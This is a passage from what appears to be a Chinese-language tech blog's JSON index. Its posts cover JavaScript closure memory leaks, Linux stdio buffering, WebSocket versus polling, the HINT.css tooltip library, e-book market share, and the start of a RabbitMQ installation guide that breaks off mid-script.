在內部的函數中可以直接使用外部函數中的變數，而內部函數中所宣告的變數對於外部而言則是私有的（private）。在這個例子中，內部的 childFunction() 函數直接存取外部函數 parentFunction() 中的變數，這樣的狀況就稱為 closure。\n接著看下面這個例子：\n\u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; document.write(\u0026#34;Closure Demo!!\u0026#34;); window.onload= function closureDemoParentFunction(paramA) { var a = paramA; return function closureDemoInnerFunction (paramB) { alert( a +\u0026#34; \u0026#34;+ paramB); }; }; var x = closureDemoParentFunction(\u0026#34;outer x\u0026#34;); x(\u0026#34;inner x\u0026#34;); \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 在上面的例子中，closureDemoInnerFunction() 是一個定義在 closureDemoParentFunction() 函數中的內部函數，當 closureDemoParentFunction(\u0026quot;outer x\u0026quot;) 被呼叫時，外層函數 closureDemoParentFunction() 中的 a 變數會被指定為 \u0026quot;outer x\u0026quot;，然後該外層函數會傳回一個指向內部函數 closureDemoInnerFunction() 的指標，然後儲存至 x 變數中。\n這裡要注意一點，在 closureDemoParentFunction() 函數中的區域變數 a 在整個函數執行結束並返回之後，還是會持續存在，這跟 C/C++ 這類的語言是不一樣的，在 C/C++ 語言中，區域變數在整個函數執行完成且返回之後就會消失，而在 JavaScript 中當 closureDemoParentFunction 被呼叫時，會產生一個俱有 a 屬性的 scope 物件，這個 a 屬性會儲存 paramA 的值（也就是 \u0026quot;outer x\u0026quot;）。由於 x 變數所儲存的 closureDemoInnerFunction() 這個內部函數包含一個指向外層變數的指標，所以先前所產生的 scope 物件在這個時候也就不會被回收，而當 x(\u0026quot;inner x\u0026quot;) 被呼叫時，就會顯示 \u0026quot;outer x inner x\u0026quot; 這個訊息。\n關於 closure 詳細說明，亦可參考 MDN 的教學。\n上面這個例子是一個很簡單的 JavaScript closure 範例，由於 clusure 可以讓內部函數中所有會用到的變數都保留下來，即便是外層的函數已經返回了，這些變數還是可以繼續保留下來，雖然 clusure 很好用，但是他也很容易在背後造成 JavaScript 與 DOM 物件間的循環式參照。\nClosures 與循環式參照 這個例子中有一個 clusure 的情況，JavaScript 物件 obj 透過 \u0026quot;element\u0026quot; 這個 id 保留一份 DOM 物件的參照，而 DOM 物件也保留一份 JavaScript 物件 obj 的參照，形成一個循環式的參照，造成記憶體洩漏。\n\u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; document.write(\u0026#34;Program to illustrate memory leak via closure\u0026#34;); window.onload=function outerFunction(){ var obj = document.getElementById(\u0026#34;element\u0026#34;); obj.onclick=function innerFunction(){ alert(\u0026#34;Hi! I will leak\u0026#34;); }; // 這個是為了讓記憶體洩漏更明顯 obj.bigString=new Array(1000).join(new Array(2000).join(\u0026#34;XXXXX\u0026#34;)); }; \u0026lt;/script\u0026gt; \u0026lt;button id=\u0026#34;element\u0026#34;\u0026gt;Click Me\u0026lt;/button\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 避免記憶體洩漏 雖然 JavaScript 很容易造成記憶體洩漏，但是在了解會出問題的狀況之後，我們就可以避開這些狀況，像上面 closures 與循環式參照的問題，就可以改用下面幾種方式解決。\n第一種方式就是將 JavaScript 物件 obj 設定為 null，這樣就可以直接破壞循環式參照：\n\u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; document.write(\u0026#34;破壞循環式參照，避免記憶體洩漏\u0026#34;); window.onload = function outerFunction(){ var obj = document.getElementById(\u0026#34;element\u0026#34;); obj.onclick = function innerFunction() { alert(\u0026#34;這樣可以避免記憶體洩漏\u0026#34;); // ... 一些程式碼 ... }; obj.bigString = new Array(1000).join(new Array(2000).join(\u0026#34;XXXXX\u0026#34;)); obj = null; // 這裡破壞循環式參照 }; \u0026lt;/script\u0026gt; \u0026lt;button id=\u0026#34;element\u0026#34;\u0026gt;\u0026#34;Click Here\u0026#34;\u0026lt;/button\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 另外一個方式是加入另外一個 clusure，破壞循環式參照：\n\u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; document.write(\u0026#34;加入另外一個 clusure，破壞循環式參照。\u0026#34;); window.onload=function outerFunction(){ var anotherObj = function innerFunction() { // ... 一些程式碼 ... alert(\u0026#34;這樣可以避免記憶體洩漏\u0026#34;); }; (function anotherInnerFunction(){ var obj = document.getElementById(\u0026#34;element\u0026#34;); obj.onclick = anotherObj; })(); }; \u0026lt;/script\u0026gt; \u0026lt;button id=\u0026#34;element\u0026#34;\u0026gt;\u0026#34;Click Here\u0026#34;\u0026lt;/button\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 最後一種方式是直接避開 closure，不要讓循環式參照形成：\n\u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; document.write(\u0026#34;直接避開 closure！\u0026#34;); window.onload=function() { var obj = document.getElementById(\u0026#34;element\u0026#34;); obj.onclick = doesNotLeak; } function doesNotLeak() { // ... 一些程式碼 ... alert(\u0026#34;這樣可以避免記憶體洩漏\u0026#34;); } \u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;button id=\u0026#34;element\u0026#34;\u0026gt;\u0026#34;Click Here\u0026#34;\u0026lt;/button\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; ","permalink":"https://blog.gtwang.org/web-development/javascript-memory-leak-patterns/","summary":"\u003cp\u003e這裡我們將解釋為什麼 JavaScript 會產生記憶體洩漏的問題，並示範會產生這個問題的程式寫法，讓大家知道該如何處理這類的問題。\u003c/p\u003e\n\u003cp\u003eJavaScript 是一種功能強大的語言，在現今許多的網頁中都扮演著重要的角色，雖然其語法簡單、撰寫容易，但是在某些瀏覽器上會產生記憶體洩漏（memory leak）的問題，卻很讓人頭痛。\u003c/p\u003e","title":"JavaScript 記憶體洩漏（Memory Leak）問題"},{"content":"這裡討論在 Linux 系統上標準串流（standard streams）的緩衝區（buffering）時常容易會產生的一些問題。\n首先請看下面這個使用 pipeline 的指令：\ncommand1 | command2 在這裡 shell 會 fork 兩個 processes，然後利用 pipe 連起來，整個架構中包含了三個緩衝區（buffer），就像這樣：\n其中的 kernel buffer 會由 shell 所呼叫的 pipe system call 來建立，這個 buffer 的大小我們並沒有辦法直接控制，但基本上也不用擔心，因為 kernel 會在接到資料之後，立刻將資料送出去，通常效率都不是問題。（參考資料：circular pipes）\n另外兩個緩衝區則是跟標準串流（standard streams）有關，在 Linux 中有三種標準串流，分別為 stdin、stdout、stderr，Linux 中幾乎所有的程式在執行前都會靠著 C 函式庫（libc）自動建立這三個標準串流，而這些串流可以用來連接檔案、sockets 或 pipes 等，而程式設計者可以藉由緩衝區的大小（size）與模式（mode，亦即 unbuffered、buffered、line buffered）來控制緩衝區的運作方式。\n我們可以利用下面這個程式來測試預設的緩衝區，看看他們是如何運作的：\n/* Output info about the default buffering parameters * applied by libc to stdin, stdout and stderr. * Note the info is sent to stderr, as redirecting it * makes no difference to its buffering parameters. */ #include \u0026lt;stdio_ext.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; FILE* fileno2FILE(int fileno) { switch(fileno) { case 0: return stdin; case 1: return stdout; case 2: return stderr; default: return NULL; } } const char* fileno2name(int fileno) { switch(fileno) { case 0: return \u0026#34;stdin\u0026#34;; case 1: return \u0026#34;stdout\u0026#34;; case 2: return \u0026#34;stderr\u0026#34;; default: return NULL; } } int main(void) { if (isatty(0)) { fprintf(stderr,\u0026#34;Hit Ctrl-d to initialise stdin\\n\u0026#34;); } else { fprintf(stderr,\u0026#34;Initialising stdin\\n\u0026#34;); } char data[4096]; fread(data,sizeof(data),1,stdin); if (isatty(1)) { fprintf(stdout,\u0026#34;Initialising stdout\\n\u0026#34;); } else { fprintf(stdout,\u0026#34;Initialising stdout\\n\u0026#34;); fprintf(stderr,\u0026#34;Initialising stdout\\n\u0026#34;); } fprintf(stderr,\u0026#34;Initialising stderr\\n\u0026#34;); //redundant int i; for (i=0; i\u0026lt;3; i++) { fprintf(stderr,\u0026#34;%6s: tty=%d, lb=%d, size=%d\\n\u0026#34;, fileno2name(i), isatty(i), __flbf(fileno2FILE(i))?1:0, __fbufsize(fileno2FILE(i))); } return EXIT_SUCCESS; } 執行之後，輸出會類似這樣：\nHit Ctrl-d to initialise stdin Initialising stdout Initialising stderr stdin: tty=1, lb=1, size=1024 stdout: tty=1, lb=1, size=1024 stderr: tty=1, lb=0, size=1 藉由測試的結果，在緩衝區模式的部分，我們可以得知：\nstdin 預設會使用 buffered 模式的緩衝區。 stderr 預設不會使用緩衝區，也就是 unbuffered 模式。 若 stdout 是一般的終端機，則會使用 line buffered 模式的緩衝區。其餘的狀況則會使用 buffered 模式的緩衝區。 而在緩衝區大小的部分：\n緩衝區大小只會直接影響緩衝區的模式。 預設的緩衝區大小是根據 page 大小決定的，這裡測試的結果是 4096 bytes。 如果 stdin 或 stdout 連接到終端機，則預設的緩衝區大小為 1024 bytes，否則為 4096 bytes。 以上這些數值只是一個測試出來的結果，並不是一個標準值，每個系統有可能不同，甚至同一種系統版本不同也會有差異，這裡只是提供一個概念性的介紹，讓大家了解系統上有這些緩衝區存在。\nstdio 輸出緩衝區問題 如果你想要查看 Apache 網頁伺服器及時的瀏覽記錄，看看有哪些訪客的 IP 位址，我們可以使用這樣的指令：\ntail -f access.log | cut -d\u0026#39; \u0026#39; -f1 | uniq 像這樣使用 tail -f 或 tcpdump -l 這類的指令，同時要持續等待新的資料，又要進行後續的資料處理時，就會發生輸出斷斷續續的問題。（某些會將所有資料都納入緩衝區的指令無法這樣使用，例如 sort）\n在這個例子中，如果有新的訪客連線進來的時候，雖然其瀏覽記錄會被馬上寫入 access.log，但是由於 stdio 的緩衝區問題，他不會馬上顯示在這個指令的輸出中（被暫時儲存在緩衝區中），整個狀況會像這樣：\n其中橘色的緩衝區就是出問題的地方，因為他所連接的另一端是一個 pipe，所以他的緩衝區大小會是 4096 bytes，他會等到緩衝區滿了之後，才會把資料送給 uniq。\n另外 tail -f 的 stdout 緩衝區其實也會有這個問題，但是由於 tail 本身會在有新資料時呼叫 fflush()，讓資料及時送出，所以這個問題不嚴重。（你可以嘗試看看 tcpdump -l、grep --line-buffered 與 sed --unbuffered 這幾個指令的狀況）\n在最後 uniq 輸出部分，由於它的 stdout 是直接連接終端機，所以只要有資料時，就會逐行立即自動輸出，所以對這裡的需求而言也沒有問題。\nstdin 輸出緩衝區問題 stdin 跟 stdout 類似，為了增進效率所以也有緩衝區的設置，當然你也可以透過一次只讀取一個 byte 的方式來控制整個讀取流程，但是這種做法並不實際。我們來看下面這個例子：\nprintf \u0026#34;one\\ntwo\\nthree\\n\u0026#34; | ( sed 1q ; sed 1q ; sed 1q ) 輸出為：\none 從輸出的內容你可以看出來，第一個 sed 把所有的資料都接收進去，剩餘兩個 sed 完全沒有收到任何資料。\n縱使這裡將 stdin 的緩衝區模式設定為 line buffered，也是無效的，因為這個只會在 stdout 被 flushed 的時候有用。而常見的 readline 也都是實作在 stdin 的緩衝區上，所以同樣會有這個問題。\n一般來說，你只能控制是否要從 stdin 讀取資料，如果你只要讀取指定長度的資料，那麼就必須將 stdin 的緩衝區關閉才行。\n下面這個是另外一個 ssh 的例子：\nprintf \u0026#34;one\\ntwo\\nthree\\n\u0026#34; | ( ssh localhost printf \u0026#39;zero\\\\n\u0026#39; ; cat ) 輸出為：\nzero 這裡經過 ssh 連線所執行的 printf 並不需要任何輸入資料，但是 ssh 指令本身並不知道這件事，所以 ssh 還是會把資料讀進來。如果要讓 ssh 不要讀取任何資料，可以加上 -n 參數：\nprintf \u0026#34;one\\ntwo\\nthree\\n\u0026#34; | ( ssh -n localhost printf \u0026#39;zero\\\\n\u0026#39; ; cat ) 這樣的話，輸出就變為：\nzero one two three stdio 緩衝區控制 程式設計者可以直接使用 read 或 write 避開緩衝區的問題，但是在大部份的狀況下，這樣會比較沒有效率。另外一個方式是使用 setvbuf 函數來控制緩衝區的模式與大小：\n#include \u0026lt;malloc.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdio_ext.h\u0026gt; int main(int argc, char** argv) { int buf, chars, i; fprintf(stderr,\u0026#34;BUFSIZ = %d\\n\u0026#34;,BUFSIZ); fprintf(stderr,\u0026#34;uninitialised stdout buf_size = %d\\n\u0026#34;,__fbufsize(stdout)); setvbuf(stdout, (char*)NULL, _IOFBF, 0); fprintf(stderr,\u0026#34;default stdout buf_size = %d\\n\u0026#34;,__fbufsize(stdout)); if (argc == 3) { buf=atoi(argv[1]); //chars to allocate chars=atoi(argv[2]); //chars to write to test buffering char* new_buf=malloc(buf); //can\u0026#39;t free until fclose(stdout) if (setvbuf(stdout, new_buf, _IOFBF, buf)) { fprintf(stderr,\u0026#34;setvbuf() failed\\n\u0026#34;); } fprintf(stderr,\u0026#34;specified buf_size = %d\\n\u0026#34;,__fbufsize(stdout)); if (chars) { for (i=1; i\u0026lt;chars; i++) putchar(\u0026#39;.\u0026#39;); putchar(\u0026#39;$\u0026#39;); putchar(\u0026#39;.\u0026#39;); sleep(5); //to see buffering of output } } } /* Note currently for glibc (2.3.5) the following call does not change the the buffer size, and more problematically does not give any indication that the new size request was ignored: setvbuf(stdout,(char*)NULL,_IOFBF,8192); The ISO C99 standard section 7.19.5.6 on the setvbuf function says: ... If buf is not a null pointer, the array it points to may be used instead of a buffer allocated by the setvbuf function and the argument size specifies the size of the array; otherwise, size may determine the size of a buffer allocated by the setvbuf function. ... Andreas Schwab at least takes the above to mean setvbuf(....,size) is only a hint from the application which I don\u0026#39;t agree with. FreeBSD\u0026#39;s libc seems more sensible in this regard. From the man page: The size argument may be given as zero to obtain deferred optimal-size buffer allocation as usual. If it is not zero, then except for unbuffered files, the buf argument should point to a buffer at least size bytes long; this buffer will be used instead of the current buffer. (If the size argument is not zero but buf is NULL, a buffer of the given size will be allocated immediately, and released on close. This is an extension to ANSI C; portable code should use a size of 0 with any NULL buffer.) */ 在更改串流緩衝區設定時，可能會有無法預期的結果，這個要注意，另外這個程式是在 glibc 2.3.5 的情況下實作的，版本有點舊，但是還有參考價值，如果自己要實作，就要注意新的 glibc 有沒有變動。\n目前來說，對於既有的程式使用者是沒有辦法更改其緩衝區設定的，有一個 unbuffer 工具可以解決部分的問題（但是也產生了其他的問題），有興趣的人可以自行參考他的說明文件。\n在新的 coreutils 7.5 中，提供了一個新的 stdbuf 指令，它可以讓你更容易來控制串流的緩衝區：\ntail -f access.log | stdbuf -oL cut -d \u0026#39; \u0026#39; -f1 | uniq 詳細的使用方式，可以查詢 stdbuf 的線上手冊。\nman stdbuf 參考資料 pixelbeat.org ","permalink":"https://blog.gtwang.org/linux/linux-standard-streams-buffer/","summary":"\u003cp\u003e這裡討論在 Linux 系統上標準串流（standard streams）的緩衝區（buffering）時常容易會產生的一些問題。\u003c/p\u003e\n\u003cp\u003e首先請看下面這個使用 pipeline 的指令：\u003c/p\u003e","title":"Linux 標準串流（Standard Streams）的緩衝區（Buffer）問題"},{"content":"這裡介紹 HTML5 的 WebSocket 概念，並且跟傳統的即時性網頁技術 Polling、Long-Polling 與 Streaming 做比較。\nHTML5 的 WebSocket 是一種建立在單一 TCP 連線上的全雙工（full-duplex）通訊管道，可以讓網頁應用程式與伺服器之間做即時性、雙向的資料傳遞。\nWebSocket 跟以往實作全雙工的技術比起來，改進了非常多，不但減低網路頻寬的使用，也降低了網路延遲的時間。（關於網路的頻寬與延遲可參考這裡）\nPolling、Long-Polling 與 Streaming 當使用者在瀏覽網頁時，瀏覽器會傳送一個 HTTP 請求到網頁伺服器上，然後伺服器會根據這個請求將網頁的內容傳回給瀏覽器，但是在很多的情況下，使用者會需要看到最新的即時性資訊，例如觀看股票市場行情、監控網路流量等等，而在以前使用者只能靠著重新載入網頁才能獲得最新的資訊，但是這樣不但很浪費時間，也會佔用很多不必要的網路資源，並不是一個好的方式。\n針對這個問題，目前已經有發展出許多技術可以解決，例如輪詢（polling）或 Comet 這類的伺服器端 push 技術，透過延遲 HTTP 回應的方式達到及時傳遞訊息的方法，而 Comet 這類的實作通常都是使用 JavaScript 配合長時間輪詢（long-polling）或串流（streaming）來達成。\n輪詢（Polling） 輪詢（polling）的做法是讓瀏覽器每隔一段時間就自動送出一個 HTTP 請求給伺服器，獲取最新的網頁資料，這個做法是最老舊的方式，如果你已經事先知道伺服器上資料更新的頻率或時間，那麼就可以使用這樣的方式讓瀏覽器上的資料同步更新，但是在許多即時性的網頁應用程式上，情況並不是這樣，你通常不會知道伺服器上的資料何時會更新，在伺服器沒有新資料時，瀏覽器如果也送出 HTTP 請求，就會造成浪費網路資源的狀況。\n長時間輪詢（Long-Polling） 長時間輪詢（long-polling）則是讓伺服器在接收到瀏覽器所送出 HTTP 請求後，伺服器會等待一段時間，若在這段時間裡面伺服器有新的資料，它就會把最新的資料傳回給瀏覽器，如果等待的時間到了之後也沒有新資料的話，就會送一個回應給瀏覽器，告知瀏覽器資料沒有更新。\n雖然長時間輪詢可以減少產生原本輪詢（polling）造成網路頻寬浪費的狀況，但是如果在資料更新很頻繁的狀況下，長時間輪詢並不會比傳統的輪詢有效率，而且有時候資料量很大時，會造成連續的 polls 不斷產生，反而會更糟糕。\n串流（Streaming） 串流（streaming）是讓伺服器在接收到瀏覽器所送出 HTTP 請求後，立即產生一個回應瀏覽器的連線，並且讓這個連線持續一段時間不要中斷，而伺服器在這段時間內如果有新的資料，就可以透過這個連線將資料馬上傳送給瀏覽器。\n這個方式雖然不錯，但是由於他是建立在 HTTP 協定上的一種傳輸機制，所以有可能會因為代理伺服器（proxy）或防火牆（firewall）將其中的資料存放在緩衝區中，造成資料回應上的延遲，因此許多使用串流的 Comet 實作會在偵測到有代理伺服器的狀況時，改用長時間輪詢的方式處理。另外透過 TLS（SSL）的連線也可以避免緩衝區的問題，但是這個方式除了設定麻煩之外，也會造成伺服器額外的負擔。\n以上這些即時性更新網頁的技術都有使用到 HTTP 的請求與回應，所以在網路上傳輸的資料中，一定會包含 HTTP 的表頭資訊，而這些資料其實不是必要的，多傳輸這些資料反而會造成網路延遲上升。\n如果是全雙工的連線的話，只需要一條就可以同時處理上傳與下載的資料傳輸，而如果以半雙工的 HTTP 協定要達到全雙工的效果，大部份的實作方式都會開啟兩條連線，一條負責上傳、另一條負責下載，但是這樣的做法不但讓整個系統更加複雜、難以維護，而且伺服器的負擔也會增加。\n下圖中這個架構是一個使用半雙工 HTTP 協定的 Comet 應用程式架構，而後端搭配一個 messaging broker 以 publish/subscribe 的方式提供及時的資料。\n這個狀況在你要擴充系統的規模時會更糟糕，使用 HTTP 來實作雙向的資料傳輸是一件很麻煩的事情，在維護很容易出問題，擴充也會有困難，縱使你的使用者感覺這樣即時性的網頁應用程式很好用，但是使用這樣的架構同時會讓你的伺服器與網路承受很大的工作負載量。\nWebSocket 通訊協定 WebSocket 是定義在 HTML5 標準中的一個新的網頁傳輸方式，可在一條連線上提供全雙工、雙向的資料傳輸，在這樣的標準下你可以很容易實作一個兼具可擴充性與即時性的網頁應用程式。另外因為 WebSocket 提供瀏覽器一個原生（native）的 socket，所以直接解決了 Comet 架構很容易出錯的問題，而在整個架構的複雜度上也會比傳統的做法簡單很多。\n瀏覽器與伺服器之間若要建立一條 WebSocket 連線，在一開始的交握（handshake）階段中，要先從 HTTP 協定升級為 WebSocket 協定，瀏覽器送出：\nGET /chat HTTP/1.1 Host: server.example.com Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== Origin: https://example.com Sec-WebSocket-Protocol: chat, superchat Sec-WebSocket-Version: 13 而伺服器回應：\nHTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo= Sec-WebSocket-Protocol: chat 當連線用的 socket 建立之後，WebSocket 的 data frames 就可以在瀏覽器與伺服器之間以全雙工的模式進行雙向的傳輸，不管是文字或是二進位的資料都沒問題。\nWebSocket 的在將資料打包成 data frame 時，在最好的狀況下只會多出 2 個位元組（bytes）。如果是文字的資料，每一個 frame 會以一個 0x00 這個位元組開頭，最後以 0xFF 這個位元組結束，中間的部分就是 UTF-8 的文字資料，若是二進位的資料，就會以 length prefix 來判斷。不管如何其資料量都會比傳統的 HTTP 協定小很多。\n這裡只是簡略說明 WebSocket 的通訊協定概念，更詳細規範可以參考 RFC6455 的說明。\nWebSocket 效能測試 在 WebSocket 的官方網站上實作了一個股票監控網頁，比較了傳統 Polling 與新的 WebSocket 的效能差異，以下是一些實際的測試數據報告。\n首先是網路頻寬（bandwidth）的比較，WebSocket 的架構所使用的網路頻寬比傳統的 Polling 小非常多。\n另外這個是網路延遲（latency）的比較，由於 WebSocket 在通訊協定上的改進，所以在網路延遲也會比傳統 Polling 所使用的 HTTP 小很多。\n若要查看詳細的實驗設計與測試過程，可以參考 WebSocket 的官方網站。\n","permalink":"https://blog.gtwang.org/web-development/websocket-protocol/","summary":"\u003cp\u003e這裡介紹 HTML5 的 WebSocket 概念，並且跟傳統的即時性網頁技術 Polling、Long-Polling 與 Streaming 做比較。\u003c/p\u003e\n\u003cp\u003eHTML5 的 WebSocket 是一種建立在單一 TCP 連線上的\u003ca href=\"https://zh.wikipedia.org/wiki/%E9%9B%99%E5%B7%A5\"\u003e全雙工（full-duplex）\u003c/a\u003e通訊管道，可以讓網頁應用程式與伺服器之間做即時性、雙向的資料傳遞。\u003c/p\u003e\n\u003cp\u003eWebSocket 跟以往實作全雙工的技術比起來，改進了非常多，不但減低網路頻寬的使用，也降低了網路延遲的時間。（關於網路的頻寬與延遲可參考\u003ca href=\"/web-development/network-lantency-and-bandwidth/\"\u003e這裡\u003c/a\u003e）\u003c/p\u003e","title":"WebSocket 通訊協定簡介：比較 Polling、Long-Polling 與 Streaming 的運作原理"},{"content":"HINT.css 是一個使用 CSS3 與 HTML5 實作的 tooltip 函式庫，可以在網頁中呈現漂亮的提示訊息方塊。\n一般在網頁中若要顯示提示訊息，可以使用 title 這個 HTML 屬性，像上面這張圖將 title 設定為 \u0026quot;HTML.css Logo\u0026quot;，所以當你將滑鼠移到圖片上面時，停留一段時間他就會顯示這行提示訊息。\n雖然 title 已經可以讓你為網頁的元素加上文字的訊息，但是設計者無法控制它顯示的方式，而且不同的瀏覽器也會有一些差異。\nHINT.css 是一個只使用 CSS3 與 HTML5 實作的 tooltip 函式庫，完全沒有用到 JavaScript，所以對於瀏覽器不會有太大的負擔。以下介紹如何使用 HINT.css 在網頁中加入 tooltip。\n首先從 GibHub 下載 hint.css 這個檔案（或是 hint.min.css 也可以），並在網頁中引入這個檔案：\n\u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;hint.css\u0026#34;\u0026gt; 或是直接使用 cdnjs 或 jsDelivr：\n\u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;https://cdnjs.cloudflare.com/ajax/libs/hint.css/3.0.0/hint.min.css\u0026#34; integrity=\u0026#34;sha512-Wh4+s2lPgPpBCBz8fdVpfOcEw3WJmNRxLefQZ9tlF6gH6iwf+LMZdJjB/qpSLWfk2WOgMqJmcmZDqDgihK5qCA==\u0026#34; crossorigin=\u0026#34;anonymous\u0026#34; referrerpolicy=\u0026#34;no-referrer\u0026#34; /\u0026gt; 接著依照想要顯示提示方塊的位置，選擇下面其中一個 CSS class，加在在網頁中需要顯示提示訊息方塊的元素上：\nhint--top hint--bottom hint--left hint--right 例如：\n這是一般文字，\u0026lt;span class=\u0026#34;hint--bottom\u0026#34;\u0026gt;這裡會顯示提示訊息。\u0026lt;/span\u0026gt; 然後還要使用 data-hint 屬性加上想要顯示的訊息內容：\n這是一般文字，\u0026lt;span class=\u0026#34;hint--bottom\u0026#34; data-hint=\u0026#34;這是提示訊息內容\u0026#34;\u0026gt;這裡會顯示提示訊息。\u0026lt;/span\u0026gt; 這樣就完成了，下面這個是實際的示範效果：\n這是一般文字，這裡會顯示提示訊息。 將滑鼠移到上面，就會顯示出提示訊息方塊。\n下面這些是一些附加的 CSS modifiers，可以任意組合使用：\nhint--error hint--info hint--warning hint--success hint--always hint--rounded hint--bounce 這些 modifiers 的作用應該看名稱就知道了，例如顯示錯誤的訊息，並顯示圓弧狀的方塊：\n這是一般文字，\u0026lt;span class=\u0026#34;hint--bottom hint--error hint--rounded\u0026#34; data-hint=\u0026#34;這是提示訊息內容\u0026#34;\u0026gt;這裡會顯示提示訊息。\u0026lt;/span\u0026gt; 結果為\n這是一般文字，這裡會顯示提示訊息。 ","permalink":"https://blog.gtwang.org/web-development/hint-css-tooltips-in-pure-css3-and-html5/","summary":"\u003cp\u003eHINT.css 是一個使用 CSS3 與 HTML5 實作的 tooltip 函式庫，可以在網頁中呈現漂亮的提示訊息方塊。\u003c/p\u003e\n\u003cp\u003e一般在網頁中若要顯示提示訊息，可以使用 \u003ccode\u003etitle\u003c/code\u003e 這個 HTML 屬性，像上面這張圖將 \u003ccode\u003etitle\u003c/code\u003e 設定為 \u003ccode\u003e\u0026quot;HTML.css Logo\u0026quot;\u003c/code\u003e，所以當你將滑鼠移到圖片上面時，停留一段時間他就會顯示這行提示訊息。\u003c/p\u003e","title":"HINT.css：以 CSS3 與 HTML5 實作的提示訊息方塊（Tooltip）工具"},{"content":"隨著各種資訊的數位化，電子書也跟著越來越普及，雖然紙本書籍的市場受到擠壓，但是依然屹立不搖。\n我個人非常喜愛看資訊類的書籍，在大學時代花在買資訊圖書上的錢就超過三萬塊，不過後來因為書實在太多了，就改用電子書的方式，一來省錢，二來不佔空間，攜帶方便，許多資訊類的圖書出版商都有推出電子書（像歐萊禮就很多），還特別買了一台 Kindle Paper White 來看。\n不過電子書雖然方便，但是紙本的書籍還是有其無可取代的優勢，例如大版面就是一個難以取代的優點，像我就常常感覺自己的 Kindle 畫面太小，而且翻頁速度也不夠快（可能因為我看書習慣都是跳著看才會這樣，另外就是英文太差，一行一行看的話可能看不完 :p）。\n就目前的趨勢來看，幾年前電子書興起的時候，確實是有影響到紙本書籍的市場，但是最近電子書市場佔有率上升趨勢已經漸漸緩和。\n以前數位化音樂（像 mp3）的市場佔有率，一開始就一路上升直到 50% 左右才停滯下來，但是現在電子書的佔有率卻上升到 20% 左右就已經停滯了，這說明了電子書恐怕不會像當年 mp3 一樣風行。\n種種跡象顯示電子書的佔有率已經到一個穩定的狀態，部份地區甚至出現下降的狀況。\n目前大部份的消費者都會傾向購買實體的紙本書籍。\n傳統實體紙本書籍的銷售，看起來似乎也沒有受到太大的衝擊，所以看起來電子書自始至終都無法取代紙本的書籍。\n","permalink":"https://blog.gtwang.org/life/the-book-is-not-dead-infographic/","summary":"\u003cp\u003e隨著各種資訊的數位化，電子書也跟著越來越普及，雖然紙本書籍的市場受到擠壓，但是依然屹立不搖。\u003c/p\u003e\n\u003cp\u003e我個人非常喜愛看資訊類的書籍，在大學時代花在買資訊圖書上的錢就超過三萬塊，不過後來因為書實在太多了，就改用電子書的方式，一來省錢，二來不佔空間，攜帶方便，許多資訊類的圖書出版商都有推出電子書（像歐萊禮就很多），還特別買了一台 \u003ca href=\"/unboxing/amazon-kindle-paperwhite/\"\u003eKindle Paper White\u003c/a\u003e 來看。\u003c/p\u003e","title":"紙本書籍至今依然屹立不搖，未來也是如此！"},{"content":"這裡介紹如何在 Ubuntu Linux 中安裝 RabbitMQ 這個訊息佇列，並且以範例程式說明如何使用 RabbitMQ。\nRabbitMQ 是一個訊息仲介（message broker），它所做的事情就是接收訊息，然後再把訊息發送出去，就好像郵局一樣，發信者將信件交給郵差，透過郵局的郵務系統將信件送給收信人，而 RabbitMQ 跟郵局的不同點只在於它不處理實體的信件，而是處理數位化的資料。\n透過 RabbitMQ 這類的訊息佇列系統，可以很容易將分散的系統整合在一起，讓各種不同的系統協同運作，以下會介紹如何安裝與使用 RabbitMQ。\n安裝 RabbitMQ RabbitMQ 的安裝方式有很多種，可以使用 Docker 直接執行：\n# 以 Docker 執行 RabbitMQ 4.x docker run -it --rm --name rabbitmq -p 5672:5672 -p 15672:15672 rabbitmq:4-management 若是 Ubuntu Linux 則可按照 RabbitMQ 官方的文件 的指令稿，快速用 apt 安裝：\n#!/bin/sh sudo apt-get install curl gnupg apt-transport-https -y ## Team RabbitMQ\u0026#39;s signing key curl -1sLf \u0026#34;https://keys.openpgp.org/vks/v1/by-fingerprint/0A9AF2115F4687BD29803A206B73A36E6026DFCA\u0026#34; | sudo gpg --dearmor | sudo tee /usr/share/keyrings/com.rabbitmq.team.gpg \u0026gt; /dev/null ## Add apt repositories maintained by Team RabbitMQ sudo tee /etc/apt/sources.list.d/rabbitmq.list \u0026lt;\u0026lt;EOF ## Modern Erlang/OTP releases ## deb [arch=amd64 signed-by=/usr/share/keyrings/com.rabbitmq.team.gpg] https://deb1.rabbitmq.com/rabbitmq-erlang/ubuntu/noble noble main deb [arch=amd64 signed-by=/usr/share/keyrings/com.rabbitmq.team.gpg] https://deb2.rabbitmq.com/rabbitmq-erlang/ubuntu/noble noble main ## Latest RabbitMQ releases ## deb [arch=amd64 signed-by=/usr/share/keyrings/com.rabbitmq.team.gpg] https://deb1.rabbitmq.com/rabbitmq-server/ubuntu/noble noble main deb [arch=amd64 signed-by=/usr/share/keyrings/com.rabbitmq.team.gpg] 